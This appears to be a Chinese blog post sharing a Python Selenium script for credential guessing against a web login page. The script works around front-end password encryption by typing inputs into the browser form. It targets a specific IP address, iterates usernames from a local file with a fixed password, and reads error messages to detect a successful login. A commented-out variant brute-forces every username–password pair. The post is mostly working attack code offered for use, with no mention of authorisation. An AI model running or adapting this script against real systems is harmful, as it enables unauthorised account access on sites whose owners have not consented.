python逃避前端加密模糊测试其用户名及密码

目的: 针对无法得知密Y的加密结果进行规避

代码如下(未使用异步多线程优化,速度较慢,感兴趣的自行修改)

# 编写者:富贵满堂喜盈门
# 目的:进行python脚本编写
# 开发时间:2023/2/15 19:55
# 此项目目的:此项目目的:进行一些特殊情况(前端加密)绕过测试用户名及密码
# 特殊元素是userAcount和userPassword,看页面修改,还有showMsg,显示报错信息,因地制宜

from selenium import webdriver # 引入浏览器驱动
from selenium.webdriver.common.by import By # 元素定位
from time import sleep # 延时
import bs4      # 获取html的内容

login_ip = "http://121.250.18.97"  # 目标ip
username = "12345678"  # 账号
password = "12345678"  # 密码
# 定义登录函数
def login():
    driver = webdriver.Chrome()
    handles=driver.window_handles # 获取当前浏览器所有窗口句柄
    # 启动浏览器
    driver.get("http://121.250.18.97")
    # 设置定位等待时间(因网速原因需要等待网页加载好)
    driver.implicitly_wait(1)
    # 定位输入账号处并输入账号
    with open("C:/Users/1/Desktop/Test/userAccount.txt",mode="r",encoding="utf8") as userAccount:
        for line in userAccount:
            driver.find_element(By.ID, "userAccount").clear()
            driver.find_element(By.ID, "userAccount").send_keys(line)

            # 下面三行代码注释掉,如果使用就是笛卡尔积暴力破解,依据个人情况使用,看代码,数据量过大,不建议使用
            # with open("C:/Users/1/Desktop/Test/userPassword.txt",encoding="utf8") as userPassword:
            #     for line in userPassword:
            #         driver.find_element(By.ID, "userPassword").send_keys(userPassword)

            # 定位密码并输入密码
            driver.find_element(By.ID, "userPassword").clear()
            driver.find_element(By.ID, "userPassword").send_keys(password)
            # 定位登录并点击登录
            driver.find_element(By.ID, "btn-login").click()

            driver.switch_to.window(handles[0])  # 0表示最开始,1表示下一个,以此类推,-1表示最后一个,-2表示倒数第二个,以此类推

            sleep(2)  # 根据目标服务器响应速度酌情设置,同时也是为了让错误信息有时间显示在页面上

            try:
                driver.find_element(By.ID, "userPassword") # 多整点前置条件来判断登进去没,就放当前页面标签,没有说明登进去了
                html_text = driver.page_source  # 获取当前页面源码
                soup = bs4.BeautifulSoup(  # 创建对象
                    html_text,
                    'html.parser'
                )
                Msg = soup.find_all('font', attrs={'id': 'showMsg'})  # 查找所有此类标签元素
                print(Msg[0].get_text())  # 获取标签文本值
            except Exception as e:
                print("登入!")

    driver.quit() #关闭浏览器
if __name__ == '__main__': # 防止引用代码出现错误
    login()


总结

有帮助点个赞,再会!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值